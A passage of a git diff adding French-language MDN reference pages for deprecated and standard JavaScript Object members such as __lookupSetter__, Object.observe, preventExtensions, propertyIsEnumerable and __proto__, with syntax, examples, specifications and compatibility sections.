+ <li>{{jsxref("Object.prototype.defineSetter","Object.prototype.__defineSetter__()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#D.C3.A9finir_des_getters_et_setters">Guide JavaScript : Définir des <em>getters</em> et <em>setters</em></a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/lookupsetter/index.html b/files/fr/web/javascript/reference/objets_globaux/object/lookupsetter/index.html
new file mode 100644
index 0000000000..0c67d3c5f8
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/lookupsetter/index.html
@@ -0,0 +1,91 @@
+---
+title: Object.prototype.__lookupSetter__()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/lookupSetter
+tags:
+  - Déprécié
+  - JavaScript
+  - Méthode
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__
+---
+<div>{{JSRef}}{{deprecated_header}}</div>
+
+<p>La méthode <code><strong>__lookupSetter__</strong></code> renvoie la fonction définie comme mutateur pour une propriété donnée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.__lookupSetter__(<var>sprop</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>sprop</code></dt>
+ <dd>Une chaîne qui contient le nom de la propriété dont on souhaite obtenir le mutateur correspondant.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La fonction associée comme mutateur à la propriété indiquée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si un mutateur a été défini pour une propriété, on ne peut pas l'obtenir en faisant référence à la propriété directement. <code>__lookupSetter__</code> peut être utilisée pour obtenir une référence vers la fonction utilisée comme mutateur.</p>
+
+<p>Cette méthode ne doit plus être utilisée et peut être remplacée avec la méthodes standard {{jsxref("Object.getOwnPropertyDescriptor()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var obj = {
+  set toto(valeur) {
+    this.truc = value;
+  }
+};
+
+
+// Méthode non-standard et dépréciée
+obj.__lookupSetter__('toto')
+// (function(valeur) { this.truc = valeur; })
+
+
+// Méthode standard
+Object.getOwnPropertyDescriptor(obj, "toto").set;
+// (function(valeur) { this.truc = valeur; })
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.__lookupSetter__', 'Object.prototype.__lookupSetter__()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Incluse dans l'annexe normative pour les fonctionnalités historiques liées aux navigateurs web (la spécification codifie ce qui est déjà présent dans les différentes implémentations).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.lookupSetter")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.lookupGetter","Object.prototype.__lookupGetter__()")}}</li>
+ <li>L'opérateur {{jsxref("Fonctions/set", "set")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}} et {{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.defineGetter","Object.prototype.__defineGetter__()")}}</li>
+ <li>{{jsxref("Object.prototype.defineSetter","Object.prototype.__defineSetter__()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#D.C3.A9finir_des_getters_et_setters">Guide JavaScript : Utiliser des <em>getters</em> et <em>setters</em></a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/nosuchmethod/index.html b/files/fr/web/javascript/reference/objets_globaux/object/nosuchmethod/index.html
new file mode 100644
index 0000000000..bd87292bc5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/nosuchmethod/index.html
@@ -0,0 +1,76 @@
+---
+title: Object.prototype.__noSuchMethod__
+slug: Web/JavaScript/Reference/Objets_globaux/Object/noSuchMethod
+tags:
+  - JavaScript
+  - Object
+  - Obsolete
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.noSuchMethod
+---
+<div>{{JSRef}}{{Non-standard_Header}}{{Obsolete_Header("gecko43")}}</div>
+
+<p>La propriété <code><strong>__noSuchMethod__</strong></code> était utilisée pour faire référence à une fonction qui devait être utilisée lorsqu'on appelait une méthode inexistante d'un objet. Cette fonction n'est plus disponible.</p>
+
+<p>Si <code><strong>__noSuchMethod__</strong></code> a été abandonnée, la spécification ECMAScript 2015 (ES6) fournit les objets <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy">Proxy</a></code> qui permettent de réaliser ce qui pouvait être fait avec cette propriété (et plus encore).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.__noSuchMethod__ = <var>fun</var></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>fun</code></dt>
+ <dd>Une fonction de la forme</dd>
+ <dd>
+ <pre class="brush: js">function (<var>id</var>, <var>args</var>) { . . . }</pre>
+
+ <dl>
+  <dt><code>id</code></dt>
+  <dd>Le nom de la méthode qui n'est pas définie pour l'objet et qui a été appelée.</dd>
+  <dt><code>args</code></dt>
+  <dd>Le tableau d'arguments passé à la méthode.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Par défaut, lorsqu'on appelle une méthode qui n'existe pas pour un objet, cela lève une exception {{jsxref("TypeError")}}. Ce comportement peut être modifié en définissant une fonction pour la propriété <code>__noSuchMethod__</code>. Cette fonction prend en compte deux arguments : le premier qui est le nom de la méthode non définie qui a été appelée et le second qui correspond au tableau des arguments passés lors de l'appel. Le deuxième argument est bien un tableau (il hérite de {{jsxref("Array.prototype")}}) et n'est pas un objet semblable à un tableau comme l'objet {{jsxref("Fonctions/arguments","arguments")}}.</p>
+
+<p>Si cette méthode ne peut être appelée, soit parce qu'elle vaut <code>undefined</code> (sa valeur par défaut), soit parce qu'elle a été supprimée ou définie avec une valeur qui n'est pas une fonction, le moteur JavaScript reprendra le comportement par défaut et renverra des exceptions <code>TypeError</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Un_test_simple_avec___noSuchMethod__">Un test simple avec <code>__noSuchMethod__</code></h3>
+
+<pre class="brush: js">var o = {
+  __noSuchMethod__: function(id, args) {
+                     console.log(id, '(' + args.join(', ') + ')');
+                    }
+};
+
+o.toto(1, 2, 3);
+o.truc(4, 5);
+o.machin();
+
+// affichera
+// toto (1, 2, 3)
+// truc (4, 5)
+// machin ()
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification et a été retirée : voir le {{bug(683218)}}.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.noSuchMethod")}}</p>
+</div>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/observe/index.html b/files/fr/web/javascript/reference/objets_globaux/object/observe/index.html
new file mode 100644
index 0000000000..eb0e3ec8c0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/observe/index.html
@@ -0,0 +1,154 @@
+---
+title: Object.observe()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/observe
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Obsolete
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.observe
+---
+<div>{{JSRef}}{{obsolete_header}}</div>
+
+<p>La méthode <strong><code>Object.observe()</code></strong> est utilisée afin d'observer de façon asynchrone les modifications apportées à un objet. Cette méthode fournit un flux d'information qui correspondent aux changement apportés à l'objet, dans l'ordre dans lequel ils se sont produits. Cependant, cette API a été dépréciée et retirée des navigateurs. À la place, il est préférable d'utiliser l'objet {{jsxref("Proxy")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.observe(<var>obj</var>, <var>callback</var>[,<var>listeChangements</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet qu'on souhaite observer.</dd>
+ <dt><code>callback</code></dt>
+ <dd>La fonction qui est appelée à chaque fois qu'un changement est effectué. Elle est invoquée avec l'argument suivant :
+ <dl>
+  <dt><code>changes</code></dt>
+  <dd>Un tableau d'objets dont chaque élément représente une modification. Les propriétés de ces objets sont :
+  <ul>
+   <li><strong><code>name </code></strong>: Le nom de la propriété qui a été modifiée.</li>
+   <li><strong><code>object</code></strong> : L'objet modifié une fois le changement apporté.</li>
+   <li><strong><code>type</code></strong> : Une chaîne de caractères qui indique le type de modification qui a eu lieu. Elle peut valoir <code>"add"</code>, <code>"update"</code>, ou <code>"delete"</code>.</li>
+   <li><strong><code>oldValue </code></strong>: Propriété présente uniquement pour les types <code>"update"</code> et <code>"delete"</code>. Elle correspond à la valeur de l'objet avant la modification.</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+ <dt><code>listeChangements</code></dt>
+ <dd>La liste des types de changements qu'on souhaite observer sur l'objet donné avec la fonction de retour donnée. Par défaut, si cet argument n'est pas utilisé, le tableau utilisé sera <code>["add", "update", "delete", "reconfigure", "setPrototype", "preventExtensions"]</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet qu'on souhaite observer.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction <code>callback</code> est appelée chaque fois qu'une modification est apportée à <code>obj</code> avec comme argument le tableau listant l'ensemble des modifications, dans l'ordre dans lequel elles se sont produites.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Enregistrer_les_différents_types_de_modifications">Enregistrer les différents types de modifications</h3>
+
+<pre class="brush: js">var obj = {
+  toto: 0,
+  truc: 1
+};
+
+Object.observe(obj, function(changes) {
+  console.log(changes);
+});
+
+obj.machin = 2;
+// [{name: 'machin', object: , type: 'add'}]
+
+obj.toto = 'coucou';
+// [{name: 'toto', object: , type: 'update', oldValue: 0}]
+
+delete obj.machin;
+// [{name: 'machin', object: , type: 'delete', oldValue: 2}]
+
+Object.defineProperty(objet,'toto', {writable: false});
+// [{name: 'toto', object: &lt;obj&gt;, type: 'reconfigure'}]
+
+Object.setPrototypeOf(obj, {});
+//  [{name: '__proto__',object: &lt;obj&gt;, type: 'setPrototype', oldValue: &lt;prototype&gt;}]
+
+Object.seal(obj);
+// [
+//    {name: 'toto', object: &lt;obj&gt;, type: 'reconfigure'},
+//    {name: 'machin', object: &lt;obj&gt;, type: 'reconfigure'},
+//    {object: &lt;obj&gt;, type: 'preventExtensions'}
+// ]
+</pre>
+
+<h3 id="Lier_des_données">Lier des données</h3>
+
+<pre class="brush: js">// Un objet représentant un utilisateur
+var utilisateur = {
+  id: 0,
+  nom: 'Brendan Eich',
+  titre: 'Mr.'
+};
+
+// Une fonction de salutation
+function majSalutation() {
+  user.greeting = 'Bonjour, ' + utilisateur.titre + ' ' + utilisateur.nom + ' !';
+}
+majSalutation();
+
+Object.observe(utilisateur, function(changes) {
+  changes.forEach(function(change) {
+    // Pour chaque modification qui porte sur le nom ou le titre
+    // on met à jour la salutation
+    if (change.name === 'nom' || change.name === 'titre') {
+      majSalutation();
+    }
+  });
+});
+</pre>
+
+<h3 id="Exemple_Enregistrer_des_changements_personnalisés">Exemple : Enregistrer des changements personnalisés</h3>
+
+<pre class="brush: js">// On représente un point sur un plan bidimensionnel
+var point = {x: 0, y: 0, distance: 0};
+
+function setPosition(pt, x, y) {
+  // On effectue un changement personnalisé
+  Object.getNotifier(pt).performChange('reposition', function() {
+    var exDistance = pt.distance;
+    pt.x = x;
+    pt.y = y;
+    pt.distance = Math.sqrt(x * x + y * y);
+    return {exDistance: exDistance};
+  });
+}
+
+Object.observe(point, function(changes) {
+  console.log('Distance modifiée : ' + (point.distance - changes[0].exDistance));
+}, ['reposition']);
+
+setPosition(point, 3, 4);
+// Distance modifiée : 5</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Proposition de spécification (<em>straw man proposal</em>).</a></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.observe")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.unobserve()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Array.observe()")}} {{obsolete_inline}}</li>
+ <li><a href="https://esdiscuss.org/topic/an-update-on-object-observe">Retrait de la proposition pour <code>Object.Observer</code> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/parent/index.html b/files/fr/web/javascript/reference/objets_globaux/object/parent/index.html
new file mode 100644
index 0000000000..dfbda99f34
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/parent/index.html
@@ -0,0 +1,42 @@
+---
+title: Object.prototype.__parent__
+slug: Web/JavaScript/Reference/Objets_globaux/Object/Parent
+tags:
+  - JavaScript
+  - Object
+  - Obsolete
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.parent
+---
+<div>{{JSRef}}{{Non-standard_Header}}{{Obsolete_Header("gecko2")}}</div>
+
+<p>La propriété <strong><code>__parent__</code></strong> était utilisée pour pointer vers le contexte d'un objet mais elle a été supprimée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.__parent__</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Pour les objets de plus haut niveau, on aurait eu <code>window</code> par exemple.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.parent")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">Article : SpiderMonkey change du jour: the special __parent__ property has been removed</a> (en anglais)</li>
+ <li><a href="/fr/docs/Components.utils.getGlobalForObject">Components.utils.getGlobalForObject</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/preventextensions/index.html b/files/fr/web/javascript/reference/objets_globaux/object/preventextensions/index.html
new file mode 100644
index 0000000000..8b86cba0a4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/preventextensions/index.html
@@ -0,0 +1,141 @@
+---
+title: Object.preventExtensions()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/preventExtensions
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Méthode
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.preventExtensions()</strong></code> permet d'empêcher l'ajout de nouvelles propriétés à un objet (i.e. d'étendre l'objet grâce à de nouvelles caractéristiques).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-preventextensions.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.preventExtensions(<var>obj</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'objet qu'on souhaite rendre non-extensible.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet rendu non-extensible.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Un objet est extensible si on peut lui ajouter de nouvelles propriétés. <code>Object.preventExtensions()</code> marque un objet et le rend non-extensible. Ainsi, cet objet ne pourra avoir d'autres propriétés que celles à l'instant où il a été marqué comme non-extensible. Attention, les propriétés existantes d'un objet non-extensible peuvent toujours être supprimées. Toute tentative d'ajout de nouvelles propriétés à un objet non-extensible échouera, soit de façon silencieuse, soit en levant une exception {{jsxref("TypeError")}} (le plus souvent en {{jsxref("Strict_mode", "mode strict", "", 1)}}).</p>
+
+<p><code>Object.preventExtensions()</code> n'empêche que l'ajout des propriétés directement sur l'objet, il n'empêche pas d'ajouter des propriétés sur le prototype.</p>
+
+<p>Cette méthode rend la propriété interne <code>[[prototype]]</code> de la cible immuable, toute réaffectation de <code>[[prototype]]</code> déclenchera une exception <code>TypeError</code>. Ce comportement est spécifique à la propriété interne <code>[[prototype]]</code>, les autres propriétés de la cible restent modifiables.</p>
+
+<p>Si, grâce à cette méthode, on peut rendre un objet non-extensible, il n'existe aucune méthode pour effectuer l'action inverse (rendre un objet non-extensible à nouveau extensible).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// Object.preventExtensions renvoie l'objet
+// non-extensible.
+var obj = {};
+var obj2 = Object.preventExtensions(obj);
+obj === obj2; // true
+
+// Par défaut, les objets sont extensibles.
+var vide = {};
+Object.isExtensible(vide); // true
+
+// ...mais cela peut être modifié.
+Object.preventExtensions(vide);
+Object.isExtensible(vide) === false);
+
+// Object.defineProperty lève une exception
+// lorsqu'on tente d'ajouter de nouvelles propriétés
+var nonExtensible = { removable: true };
+Object.preventExtensions(nonExtensible);
+
+Object.defineProperty(nonExtensible, 'nouvelle', { value: 8675309 });
+/ lève une TypeError
+
+// En mode strict, toute tentative d'ajout
+// lève une exception TypeError
+function échec() {
+  'use strict';
+  nonExtensible.nouvelleProp = 'ÉCHEC'; //
+}
+échec();
+
+// EXTENSION (ne fonctionne que pour les moteurs
+// qui utilisent __proto__ ) :
+// Le prototype (via __proto__) d'un objet non-extensible
+// n'est pas modifiable :
+var fixed = Object.preventExtensions({});
+fixed.__proto__ = { oh: 'hey' }; // lève une TypeError
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, une valeur qui n'est pas un objet sera traitée comme un objet ordinaire qui n'est pas extensible et la méthode renverra cette valeur.</p>
+
+<pre class="brush: js">Object.preventExtensions(1);
+// TypeError : 1 n'est pas un object (code ES5)
+
+Object.preventExtensions(1);
+// 1                             (code ES2015)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.10', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.preventextensions', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.preventextensions', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.preventExtensions")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Reflect.preventExtensions()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/propertyisenumerable/index.html b/files/fr/web/javascript/reference/objets_globaux/object/propertyisenumerable/index.html
new file mode 100644
index 0000000000..d1caefe8c3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/propertyisenumerable/index.html
@@ -0,0 +1,150 @@
+---
+title: Object.prototype.propertyIsEnumerable()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/propertyIsEnumerable
+tags:
+  - JavaScript
+  - Méthode
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>propertyIsEnumerable()</strong></code> renvoie un booléen qui indique si la propriété donnée est énumérable.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-propertyisenumerable.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>obj</var>.propertyIsEnumerable(<var>prop</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Le nom de la propriété dont on souhaite savoir si elle est énumérable ou non.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen qui indique si la propriété passée en argument est énumérable.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Chaque objet possède une méthode <code>propertyIsEnumerable</code>. Cette méthode est utilisée afin de savoir s'il est possible d'énumérer la propriété donnée au moyen d'une boucle {{jsxref("Instructions/for...in", "for...in")}}. Cela concerne uniquement les propriétés propres à l'objet (celles qui ne sont pas héritées via la chaîne de prototypes). Si un objet ne possède pas la propriété, cette méthode renverra <code>false</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_propertyIsEnumerable">Utiliser <code>propertyIsEnumerable</code></h3>
+
+<p>Dans l'exemple qui suit, on illustre comment utiliser <code>propertyIsEnumerable</code> sur les objets et tableaux :</p>
+
+<pre class="brush: js">var o = {};
+var a = [];
+o.prop = 'est énumérable';
+a[0] = 'est énumérable';
+
+o.propertyIsEnumerable('prop');   // renvoie true
+a.propertyIsEnumerable(0);        // renvoie true
+</pre>
+
+<h3 id="Objets_natifs_et_objets_définis_par_l'utilisateur">Objets natifs et objets définis par l'utilisateur</h3>
+
+<p>Dans l'exemple ci-dessous, on illustre l'énumérabilité des propriétés des objets natifs et celle des objets tiers, définis dans les scripts :</p>
+
+<pre class="brush: js">var a = ['est énumérable'];
+
+a.propertyIsEnumerable(0);          // renvoie true
+a.propertyIsEnumerable('length');   // renvoie false
+
+Math.propertyIsEnumerable('random');   // renvoie false
+this.propertyIsEnumerable('Math');     // renvoie false
+</pre>
+
+<h3 id="Propriétés_héritées_et_propriétés_propres">Propriétés héritées et propriétés propres</h3>
+
+<pre class="brush: js">var a = [];
+a.propertyIsEnumerable('constructor');         // renvoie false
+
+function premierConstructeur() {
+  this.propriete = 'non énumérable';
+}
+
+premierConstructeur.prototype.premiereMethode = function() {};
+
+function secondConstructeur() {
+  this.methode = function methode() { return 'énumérable'; };
+}
+
+secondConstructeur.prototype = new premierConstructeur;
+secondConstructeur.prototype.constructor = secondConstructeur;
+
+var o = new secondConstructeur();
+o.propArbitraire = 'is enumerable';
+
+o.propertyIsEnumerable('propArbitraire');   // renvoie true
+o.propertyIsEnumerable('méthode');          // renvoie true
+o.propertyIsEnumerable('propriété');        // renvoie false
+
+o.propriete = 'énumérable';
+
+o.propertyIsEnumerable('propriété');        // renvoie true
+
+// Ces instructions renvoient false car propertyIsEnumerable
+// ne prend pas en compte la chaîne de prototypes
+o.propertyIsEnumerable('prototype');   // renvoie false
+o.propertyIsEnumerable('constructor'); // renvoie false
+o.propertyIsEnumerable('premièreMéthode'); // renvoie false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.7', 'Object.prototype.propertyIsEnumerable')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Object.propertyIsEnumerable")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement">Caractère énumérable et rattachement des propriétés</a></li>
+ <li>{{jsxref("Instructions/for...in", "for...in")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/proto/index.html b/files/fr/web/javascript/reference/objets_globaux/object/proto/index.html
new file mode 100644
index 0000000000..937a9f564c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/proto/index.html
@@ -0,0 +1,162 @@
+---
+title: Object.prototype.__proto__
+slug: Web/JavaScript/Reference/Objets_globaux/Object/proto
+tags:
+  - Deprecated
+  - ECMAScript 2015
+  - JavaScript
+  - Object
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/proto
+---
+<div>{{JSRef}}{{Deprecated_header}}</div>
+
+<div class="warning">
+<p><strong>Attention :</strong> Étant donnée la façon dont la plupart des moteurs JavaScript optimisent les performances, modifier le <code>[[Prototype]]</code> d'un objet est une opération lente pour chaque navigateur et moteur JavaScript. Les impacts liés aux performances sur ce point sont vastes et subtiles : ils concernent pas uniquement le temps passé à effectuer <code>obj.__proto__ = ...</code>, mais peuvent concerner n'importe quel code pour n'importe quel objet dont <code>[[Prototype]]</code> a été modifié. Si vous souhaitez obtenir des performances optimales, évitez de modifier le <code>[[Prototype]]</code> d'un objet. À la place, il est conseillé de créer un objet avec le prototype voulu en utilisant {{jsxref("Object.create()")}}.</p>
+</div>
+
+<div class="warning">
+<p><strong>Attention :</strong> Bien que la propriété <code>Object.prototype.__proto__</code> soit déjà supportée dans la plupart des navigateurs à l'heure actuelle, son comportement n'a été standardisé que récemment avec la spécification ECMAScript 2015. Si vous avez besoin d'utiliser cette propriété dans des environnements antérieurs à ES2015, il est recommandé d'utiliser {{jsxref("Object.getPrototypeOf()")}}.</p>
+</div>
+
+<p>La propriété <code>__proto__</code> de {{jsxref("Object.prototype")}} est une propriété accesseur (un couple de fonction avec un accesseur (<em>getter</em>) et un mutateur (<em>setter</em>)) qui expose le <code>[[Prototype]]</code> interne (qui est soit un objet, soit {{jsxref("null")}}) de l'objet courant.</p>
+
